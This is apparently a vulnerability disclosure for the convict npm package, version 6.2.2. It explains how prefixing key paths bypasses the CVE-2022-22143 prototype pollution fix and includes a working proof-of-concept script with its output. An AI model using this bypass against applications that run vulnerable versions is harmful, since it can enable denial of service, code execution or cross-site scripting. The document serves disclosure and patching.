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<> Code - Revisions 1

Prototype Pollution in convict@6.2.2

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Information

Package: `convict`

Version: 6.2.2

Github Repository: <https://github.com/mozilla/node-convict/tree/master/packages/convict>

Summary

This is a bypass of [CVE-2022-22143](#).

Details

The [fix](#) introduced, relies on the `startsWith` method and does not prevent the vulnerability: before splitting the path, it checks if it starts with `__proto__` or `this.constructor.prototype`. To bypass this check it's possible to prepend the dangerous paths with any string value followed by a dot, like for example `foo.__proto__` or `foo.this.constructor.prototype`.

Below the vulnerable code:

```
// https://github.com/mozilla/node-convict/blob/3b86be087d8f14681a9c889d45da7fe3ad9c
```

```
const FORBIDDEN_KEY_PATHS = [
  '__proto__',
  'this.constructor.prototype',
]
...

set: function(k, v) {
  for (const path of FORBIDDEN_KEY_PATHS) {
    if (k.startsWith(`${path}.`)) { //<-- foo.__proto__.polluted returns false
      return this
    }
  }

  v = coerce(k, v, this._schema, this)
  const path = k.split('.')
  const childKey = path.pop()
  const parentKey = path.join('.')
  const parent = walk(this._instance, parentKey, true)
  parent[childKey] = v
  return this
}
```



PoC

- node poc.js

Output:

```
undefined
polluted1
polluted2
polluted3
polluted4
polluted5
```

Impact

The impact of this vulnerability depends on the application context. In some cases it is possible to achieve Denial of Service (DoS), Remote Code Execution (RCE), Cross-Site Scripting (XSS).

Author

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 poc.js

```
1 // npm i convict
2 const convict = require("convict");
3 let obj = {};
4 const config = convict(obj);
5
6 config.set("this.constructor.prototype.polluted", "polluted");
7 console.log({}.polluted) // undefined
8
9 config.set("this.this.constructor.prototype.polluted1", "polluted1");
10 console.log({}.polluted1) // polluted1
11
12 config.set("foo.this.constructor.prototype.polluted2", "polluted2");
13 console.log({}.polluted2) // polluted2
14
15 config.set("this.__proto__.polluted3", "polluted3");
16 console.log({}.polluted3) // polluted3
17
18 config.set("foo.__proto__.polluted4", "polluted4");
19 console.log({}.polluted4) // polluted4
20
21 config.set("foo.__proto__.foo.__proto__.polluted5", "polluted5");
22 console.log({}.polluted5) // polluted5
```